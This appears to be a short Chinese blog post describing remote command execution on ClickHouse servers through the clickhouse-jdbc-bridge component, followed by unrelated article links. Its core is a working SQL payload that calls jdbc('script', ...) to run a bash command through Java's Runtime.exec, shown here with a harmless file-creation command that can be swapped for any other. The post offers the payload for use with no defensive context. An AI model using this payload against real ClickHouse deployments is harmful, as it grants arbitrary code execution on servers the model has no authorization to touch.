clickhouse-jdbc-bridge rce

clickhouse-jdbc-bridge 是什么

JDBC bridge for ClickHouse®. It acts as a stateless proxy passing queries from ClickHouse to external datasources. With this extension, you can run distributed query on ClickHouse across multiple datasources in real time, which in a way simplifies the process of building data pipelines for data warehousing, monitoring and integrity check etc.

简单来说是clickhouse服务端的一个组件 功能是用来创建新的jdbc连接

https://github.com/ClickHouse/clickhouse-jdbc-bridge

RCE

当我们连接到clickhouse的时候,如果服务端支持clickhouse-jdbc-bridge

那么可以输入以下命令RCE

复制代码
SELECT *
FROM jdbc('script', 's=[3];s[0]="/bin/bash";s[1]="-c";s[2]="touch /tmp/1.txt";java.lang.Runtime.getRuntime().exec(s);')

然后可以在服务器端/tmp目录下看到1.txt

相关推荐
Apache Flink3 分钟前
Flink + Fluss 实战: Delta Join 原理解析与操作指南
大数据·数据库·flink
·云扬·8 分钟前
MySQL中count(*)深度解析与性能优化实践
数据库·mysql·性能优化
Predestination王瀞潞32 分钟前
数据库MongoDB 8.2.3和Shell工具的安装
数据库
MediaTea34 分钟前
Python:实例 __dict__ 详解
java·linux·前端·数据库·python
今夕资源网35 分钟前
如何修复“无需升级,您的WordPress数据库已经是最新的了”无限死循环
数据库·wordpress
盛世宏博北京1 小时前
学校图书馆自动化恒温恒湿控制系统技术方案
网络·数据库·人工智能
Sammyyyyy1 小时前
MongoDB 的文档模型与 CRUD 实战
开发语言·数据库·mongodb·servbay
宁小法1 小时前
SQL查询对比: select exists($sql) 跟 select * from `users` where `id` = 60000001的区别差异
数据库·sql·select exists
语落心生1 小时前
Flink 到 Doris 数据同步----从二阶段提交到幂等性 StreamLoader 的演进之路
数据库
程序员阿鹏1 小时前
事务与 ACID 及失效场景
java·开发语言·数据库